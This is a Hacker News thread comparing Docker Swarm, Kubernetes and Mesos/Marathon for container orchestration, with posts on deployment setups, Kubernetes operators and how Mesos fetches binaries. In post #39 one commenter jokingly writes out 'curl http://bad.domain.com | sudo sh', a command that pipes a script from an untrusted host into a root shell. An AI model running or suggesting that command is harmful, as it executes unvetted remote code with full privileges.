Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Docker vs. Kubernetes vs. Mesos

mesosphere.com

Post reply on HN
Print view View original

31–40 of 79 posts

Re: Docker vs. Kubernetes vs. Mesos

#31

Post by gotbeans »

caspereeko wrote: post #22

I would like to share my personal experience running Meoss. I have been using Pure Mesos setup, without DC/OS for 2.5 years. We have the following infra features.: - 120 micro-services running using marathon. - 10 batch jobs running using Chronos. - So far, everything is reliable and no downtime. - We have Ip-Per-Task enabled with Project Calico. - We have Public, Private, and IP Access-list enabled per container usi…

May I ask, any further details on the use cases or plain use of the networking landscape on your setup?

Re: Docker vs. Kubernetes vs. Mesos

#32

Post by conradk »

davidopp_ wrote: post #28
conradk wrote: post #15

I recently evaluated all 3 solutions. Here is how I see it after testing the waters: - want something simple that works today? Docker Swarm - want something amazingly flexible? Kubernetes - already use Mesos or DC/OS? Marathon/Mesos This article from Mesosphere is interesting and gives a good overview, but it downplays advantages of Swarm and Kubernetes and clearly highlights Mesos: Docker has 4 bullet points, Kubern…

Kubernetes runs on GCP, AWS, and Azure, and in various on-prem configurations (including on OpenStack). Disclosure: I work on Kubernetes at Google.

Hello David, thanks for your input here! I was wondering specifically about a hybrid cloud / multi-az setup. Does Kubernetes support that?

Re: Docker vs. Kubernetes vs. Mesos

#33

Post by ralfn »

Illniyar wrote: post #25
ec109685 wrote: post #19

Earlier quoted context omitted.

One more difference is Mesos is written in C++, while Kubernetes is written in Go.

Is that relevant?

Well for something as crucial as this you want to be able to debug and patch the code. I mean: using outside of hobby, prototyping or a startup (i.e the rest of the economy were money wants to buy off risk) this stuff cant be a magic black box. That would be so irresponsible. "Why are our servers down? We are loosing 500k per day." .. "we are getting some weird error we cant debug because we dont know the codebase, or worse, the language. But we searching for random dumb stuff to try on StackOverflow". Yeah somebody is getting fired.

So for the developers responsible for the uptime it could matter a lot if they are more comfortable with one of codebase or language they use.

Off course if you are more like a consumer app type of startup, just put all energy on UX and stuff and hope for the best. But lets hope every bank that uses this sort of stuff has a developer on call that can actually dive into the codebase.

Re: Docker vs. Kubernetes vs. Mesos

#34

Post by raarts »

lucaspiller wrote: post #8
raarts wrote: post #2

It feels downplayed in this article, so I would like to state for the record here, I am a happy user of Docker Swarm. Swarm has been shown to scale to tens of thousands of hosts, but I found it easy to start with, especially with the Gitlab CI support, which natively brings a Docker container registry. So I commit, CI builds my containers, stores them in my private registry, and automatically deploys from there to th…

How do you automate the updating of images on Docker Swarm?

I define a docker stack .yml file, and have GitLab CI run docker stack deploys.

Re: Docker vs. Kubernetes vs. Mesos

#36

Post by fen4o »

x0rg wrote: post #5

Those kind of articles are not so useful, Mesosphere is the company behind DC/OS and Mesos and they have all the interest in the world to say that Mesos is the best. Things like "... are willing to get your hands dirty integrating your solution with the underlying infrastructure" when talking about Kubernetes is unfair, especially if you compare Kubernetes to Mesos and not to Mesosphere DC/OS for which they provide p…

Exactly. The frameworks that the article describes know how to run say Cassandra or Spark, but you can do the same thing in Kubernetes using TPRs or CRDs with operators:

[0]https://github.com/coreos/prometheus-operator [1]https://github.com/coreos/etcd-operator [2]https://github.com/huawei-cloudfederation/redis-operator [3]https://github.com/CrunchyData/postgres-operator [4]https://github.com/krallistic/kafka-operator [5]https://github.com/pegerto/cassandra-operator

Re: Docker vs. Kubernetes vs. Mesos

#37

Post by tbcj »

fen4o wrote: post #36
x0rg wrote: post #5

Those kind of articles are not so useful, Mesosphere is the company behind DC/OS and Mesos and they have all the interest in the world to say that Mesos is the best. Things like "... are willing to get your hands dirty integrating your solution with the underlying infrastructure" when talking about Kubernetes is unfair, especially if you compare Kubernetes to Mesos and not to Mesosphere DC/OS for which they provide p…

Exactly. The frameworks that the article describes know how to run say Cassandra or Spark, but you can do the same thing in Kubernetes using TPRs or CRDs with operators: [0] https://github.com/coreos/prometheus-operator [1] https://github.com/coreos/etcd-operator [2] https://github.com/huawei-cloudfederation/redis-operator [3] https://github.com/CrunchyData/postgres-operator [4] https://github.com/krallistic/kafka-op…

There doesn't appear to be anything at #2 - https://github.com/huawei-cloudfederation/redis-operator.

Re: Docker vs. Kubernetes vs. Mesos

#38

Post by sisk »

conradk wrote: post #32
davidopp_ wrote: post #28

Earlier quoted context omitted.

Kubernetes runs on GCP, AWS, and Azure, and in various on-prem configurations (including on OpenStack). Disclosure: I work on Kubernetes at Google.

Hello David, thanks for your input here! I was wondering specifically about a hybrid cloud / multi-az setup. Does Kubernetes support that?

I'm not David but the answer is yes. After spinning up multiple discrete clusters, you can orchestrate across them by deploying the federation control plane.

https://kubernetes.io/docs/concepts/cluster-administration/f...

Re: Docker vs. Kubernetes vs. Mesos

#39

Post by falsedan »

majewsky wrote: post #21
manojlds wrote: post #13

Earlier quoted context omitted.

They said legacy applications. You can run a command or script or binary in Mesos / marathon. In Kubernetes, you can run only containers. So at the minimal, your legacy app has to be containerized / dockerized.

> You can run a command or script or binary in Mesos / marathon. Where does the binary come from, if not from a container?

  curl http://bad.domain.com | sudo sh
naturally

To be fair, we put our payloads on S3 and tell our universal executor to fetch & unpack them & run a configured command. We successfully wrote an xargs-replacement as a Mesos framework which worked pretty well.

Re: Docker vs. Kubernetes vs. Mesos

#40

Post by bogomipz »

majewsky wrote: post #21
manojlds wrote: post #13

Earlier quoted context omitted.

They said legacy applications. You can run a command or script or binary in Mesos / marathon. In Kubernetes, you can run only containers. So at the minimal, your legacy app has to be containerized / dockerized.

> You can run a command or script or binary in Mesos / marathon. Where does the binary come from, if not from a container?

In Marathon you would specify it as a URI. See:

https://mesosphere.github.io/marathon/docs/application-basic...

The Mesos executor can run shell commands or Docker containers.

Post reply on HN